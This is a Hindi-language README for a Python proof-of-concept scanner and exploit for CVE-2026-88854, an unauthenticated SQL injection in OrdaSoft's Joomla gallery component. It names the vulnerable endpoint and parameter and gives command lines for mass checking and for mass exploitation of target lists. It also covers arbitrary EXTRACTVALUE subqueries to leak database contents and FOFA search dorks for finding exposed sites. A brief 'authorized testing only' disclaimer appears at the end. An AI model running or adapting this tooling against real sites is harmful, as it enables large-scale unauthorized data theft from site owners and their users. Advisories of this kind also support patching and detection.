
Python 3 PoC स्कैनर और CVE-2026-88854 के लिए एक्सप्लॉइट, जो OrdaSoft Joomla Gallery में एक अनधिकृत SQL इंजेक्शन है, जिसमें मास चेक और EXTRACTVALUE डेटा-रीड मोड शामिल हैं।
Joomla के लिए OrdaSoft OS Responsive Image Gallery में CVE-2026-88854 के लिए Python 3 PoC स्कैनर/एक्सप्लॉइट।
| Component | com_osgallery, com_osgallery_light |
| Affected | 1.0.0 – 6.2.6 |
| Fixed in | 6.2.7+ |
| CVSS 4.0 | 9.3 (Critical) |
| Auth | None (public mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() textsearch / searchText को $input->getVar() के माध्यम से पढ़ते हैं, जो उचित SQL escaping लागू नहीं करता। यह मान LIKE clause में concatenate किया जाता है। अनधिकृत विज़िटर UNION-शैली injection का उपयोग करके डेटाबेस सामग्री पढ़ सकते हैं।
सामान्य request surface:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
पुराने installs में task नाम searhResult (typo) हो सकता है।
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| File | Content |
|---|---|
cve_2026_88854_results.jsonl | Per-target JSON |
hits.txt | Candidate URLs (exploitable_candidate) |
status मान (check)audit_scan.py)Mass check के बाद, administrator manifests को फिर से fetch करने और targets को विभाजित करने के लिए audit_scan.py चलाएँ:
Gallery version administrator/components/com_osgallery/osgallery.xml में <version> element से पढ़ा जाता है, न कि Joomla extension version= attribute से।
EXTRACTVALUE का उपयोग करता है; MariaDB/Postgres, disabled errors, या WAF no leak दे सकते हैं, भले ही CVE लागू हो।https://host/site)।app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Local target lists और run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) .gitignore में हैं और इन्हें commit नहीं किया जाना चाहिए।
केवल authorized security testing के लिए। लागू कानूनों और program नियमों का अनुपालन आपकी ज़िम्मेदारी है।
| Option | Description |
|---|
-u, --url | Single target base URL (subdir installs: include path) |
--list | Target list file (one URL per line) |
--mode | check or exploit |
--subquery | SQL inside EXTRACTVALUE (exploit mode, default SELECT VERSION()) |
--threads, -j | Mass concurrency (default 20) |
--timeout | HTTP timeout seconds (default 20) |
--proxy | HTTP(S) proxy URL |
--output | JSONL results (default cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; exploit → exploited.txt |
--quiet, -q | Less progress output |
| Status | Meaning |
|---|
sqli_confirmed | Error/time-based SQLi or verified EXTRACTVALUE leak |
likely_vulnerable_version | Manifest version ≤ 6.2.6 + search endpoint |
likely_component | Gallery detected, version unknown |
boolean_inconclusive | Response length diff only (often WAF); not counted as confirmed |
patched_version | Manifest version > 6.2.6 |
component_no_search_endpoint | Component present, search task not reachable |
no_component | com_osgallery not detected |
| File | Content |
|---|
hits_version_lte_626.txt | Manifest gallery version ≤ 6.2.6 |
hits_component_endpoint.txt | Gallery + endpoint, version unreadable |
hits_patched.txt | Manifest > 6.2.6 |
fofa_stale.txt | No component (stale FOFA row) |
cve_2026_88854_audit.jsonl | Enriched JSONL |